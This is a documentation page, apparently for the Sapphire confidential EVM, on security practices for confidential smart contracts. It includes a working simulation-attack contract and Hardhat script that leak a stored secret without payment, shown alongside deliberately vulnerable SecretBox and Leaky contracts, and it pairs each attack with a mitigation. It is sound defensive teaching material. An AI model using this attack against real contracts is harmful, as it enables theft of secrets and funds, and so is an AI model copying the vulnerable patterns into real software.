Skip to main content

Security

This page is focused on best practices for writing secure confidential smart contracts. It outlines potential attacks and how we should prevent or mitigate them.

Simulation Attack

Suppose you store a secret in a smart contract which you reveal after some amount of tokens is transferred to the contract:

SecretBox.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SecretBox {
address public immutable owner;

uint256 public immutable DEPOSIT_AMOUNT;
string private secret;
address private payer;

constructor(uint256 amount) {
owner = msg.sender;
DEPOSIT_AMOUNT = amount;
}

function setSecret(string calldata s) external {
require(msg.sender == owner, "not owner");
secret = s;
}

function getSecret() external view returns (string memory) {
require(msg.sender == payer, "not payer");
return secret;
}

receive() external payable {
require(msg.value >= DEPOSIT_AMOUNT, "amount too low");
payer = msg.sender;
}
}

The same principle can be applied to encumbered wallets, gasless transactions and cross-chain DeFi contracts where the secret is a signing key for transactions and getSecret() generates a signed transaction and returns it to the user for submission.

The simulation attack can leak the secret above without user sending any assets to the SecretBox contract. The attacker can use the following helper contract:

SecretBoxAttack.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { SecretBox } from "./SecretBox.sol";

contract SecretBoxAttack {
address private attacker;

function getSecret(address secretBoxAddr) external returns (string memory) {
SecretBox sb = SecretBox(payable(secretBoxAddr));
secretBoxAddr.call{value: address(this).balance}("");
return sb.getSecret();
}

receive() external payable {
require(attacker == address(0), "already paid");
attacker = msg.sender;
}

function withdraw() external {
payable(attacker).transfer(address(this).balance);
}
}

The attacker then sends funds to the helper contract, simulates the getSecret() call to obtain the secret and withdraws the funds back:

attackSecretBox.ts
import { ethers } from 'hardhat'

const SecretBox = await ethers.getContractFactory(
'SecretBox'
)
const sb = await SecretBox.deploy(1_000_000_000)
await sb.waitForDeployment()

const secretTx = await sb.setSecret("very secret message");
await secretTx.wait()

const SecretBoxAttack = await ethers.getContractFactory(
'SecretBoxAttack'
)
const sba = await SecretBoxAttack.deploy()
await sba.waitForDeployment()

const transferTx = await(await ethers.getSigners())[0].sendTransaction({
to: await sba.getAddress(),
value: 1_000_000_000,
})
await transferTx.wait()

const secret = await sba.getSecret.staticCall(await sb.getAddress())
console.log(`Secret: ${secret}`)

const withdrawTx = await sba.withdraw()
await withdrawTx.wait()

Running the script above will leak the secret:

Secret: very secret message

Mitigation

The design of the Ethereum Virtual Machine is such that a smart contract cannot detect whether it is being executed within a finalized transaction vs a static call (including gas estimation). To overcome this, a developer needs to store the proof of finality in form of a block number when the payment was received. Then, when obtaining the secret (or performing other actions that require the payment), we require a one block delay. Since a static call cannot span across multiple blocks, this effectively prevents the simulation attack.

Required changes:

SecretBoxDelay.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SecretBoxDelay {
address public immutable owner;

uint256 public immutable DEPOSIT_AMOUNT;
string private secret;
address private payer;
uint256 private paidBlock;

constructor(uint256 amount) {
owner = msg.sender;
DEPOSIT_AMOUNT = amount;
}

function setSecret(string calldata s) external {
require(msg.sender == owner, "not owner");
secret = s;
}

function getSecret() external view returns (string memory) {
require(msg.sender == payer, "not payer");
require(block.number > paidBlock, "not finalized yet");
return secret;
}

receive() external payable {
require(msg.value >= DEPOSIT_AMOUNT, "amount too low");
payer = msg.sender;
paidBlock = block.number;
}
}

Running the script with the new safeguards yields:

execution reverted: not finalized yet

Storage Access Patterns

You can use a tool such as hardhat-tracer to examine the base EVM state transitions under the hood.

npm install -D hardhat-tracer

and add hardhat-tracer to your config.ts file,

import "hardhat-tracer"

in order to test and show call traces.

npx hardhat test --vvv --opcodes SSTORE,SLOAD

You can also trace a particular transaction, once you know its hash.

npx hardhat trace --hash 0xTransactionHash

For both gas usage and confidentiality purposes, we recommend using non-unique data size. E.g. 64-byte value will still be distinct from a 128-byte value.

Inference based on access patterns

SSTORE keys from one transaction may be linked to SLOAD keys of another transaction.

Order of Operations

When handling errors, gas usage patterns not only can reveal the code path taken, but sometimes the balance of a user as well (in the case of a diligent attacker using binary search).

function transferFrom(address who, address to, uint amount)
external
{
require( balances[who] >= amount );
require( allowances[who][msg.sender] >= amount );
// ...
}

Modifying the order of error checking can prevent the accidental disclosure of balance information in the example above.

function transferFrom(address who, address to, uint amount)
external
{
require( allowances[who][msg.sender] >= amount );
require( balances[who] >= amount );
// ...
}

Speed Bump

If we would like to prevent off-chain calls from being chained together, we can ensure that the block has been finalized.

contract Secret {
uint256 private _height;
bytes private _secret;
address private _buyer;

constructor(bytes memory _text) {
_secret = _text;
}

function recordPayment() external payable {
require(msg.value == 1 ether);
// set and lock buyer
_height = block.number;
_buyer = msg.sender;
}

/// @notice Reveals the secret.
function revealSecret() view external returns (bytes memory) {
require(block.number > _height, "not settled");
require(_buyer != address(0), "no recorded buyer");
// TODO: optionally authenticate call from buyer
return _secret;
}
}

Gas Padding

Gas padding lets you equalize EVM execution gas across private code paths to reduce side‑channel leakage. Sapphire provides a precompile (Sapphire.padGas) that burns execution gas so that your function’s execution cost is brought up to a target amount. The gas padding call is usually done somewhere at the end of the executed code to cover all possible execution paths.

Scope & limits:

  • Pads only the EVM engine (execution) gas spent by your contract’s code path. It does not include the intrinsic/transaction‑size component (calldata bytes, signature, envelope, etc.). The transaction size and the fee attributable to it remains public.
  • Practically: if you pad to 10_000, the total fee is tx_size_gas + exec_gas_padded(≈10_000).
  • Padding is intentionally limited to the execution layer. If total gas were fully padded, an attacker could vary transaction size to leak information; therefore only the EVM execution portion is padded.
  • padGas protects the code path within your contract. Gas used by external calls can still differ unless those contracts also pad.

Example attack (leaky code path)

contract Leaky {
bytes32 private secret;
bytes32 private tmp;

// Returns true on correct guess; success path does extra work
// (leaks via fee).
function guess(bytes32 candidate) external returns (bool ok) {
if (candidate == secret) {
for (uint i = 0; i < 10_000; ++i) {
tmp = keccak256(abi.encodePacked(tmp, i));
}
return true;
}
return false;
}
}

An observer (or the caller) can compare total fees and infer whether candidate == secret.

Fix with padding

contract Padded {
bytes32 private secret;
bytes32 private tmp;

function guess(bytes32 candidate) external returns (bool ok) {
if (candidate == secret) {
for (uint i = 0; i < 10_000; ++i) {
tmp = keccak256(abi.encodePacked(tmp, i));
}
ok = true;
}
// Equalize execution cost across branches. Pads execution only
// tx size cost stays visible.
Sapphire.padGas(100_000);
}
}

Choose a target that is greater or equal to the worst‑case execution for the function, with a safety margin. You can measure worst‑case cost in tests (e.g., with tracers) and read the current execution gas via Sapphire.gasUsed().

When to use

  • Branches depend on confidential state/input and have materially different execution cost.
  • Success vs. revert paths would leak acceptance via fee differences.
  • Before returning from functions that conditionally perform heavy computation.

When not to rely on it (alone)

  • It does not hide transaction size (calldata length). Different‑length inputs will still lead to different total fees.
  • It does not pad external contracts you call unless they also pad.
  • It is not a replacement for constant‑time logic where feasible.

Masking input size (guidance)

  • Prefer fixed‑size ABI types (bytes32 instead of bytes) and pass hashes of variable‑length data rather than the data itself.
  • If variable‑length bytes/ciphertext must be sent, pad client‑side to a fixed length or to bucketized sizes (e.g., 256/512/1024 bytes) before encrypting/sending; strip padding inside the contract.
  • Bundle multiple fields into a fixed‑size envelope and parse lengths inside the confidential execution.

Simple example

contract GasExample {
bytes32 tmp;

function constantMath(bool doMath, uint128 padTo) external {
if (doMath) {
bytes32 x;
for (uint256 i = 0; i < 100; i++) {
x = keccak256(abi.encodePacked(x, tmp));
}
tmp = x;
}
// Pads EVM execution only; tx size cost remains public.
Sapphire.padGas(padTo);
}
}

Both calls below will consume the same execution gas, while the transaction‑size gas may still differ if calldata sizes differ. You can also query the execution gas with Sapphire.gasUsed().

await contract.constantMath(true, 100000);
await contract.constantMath(false, 100000);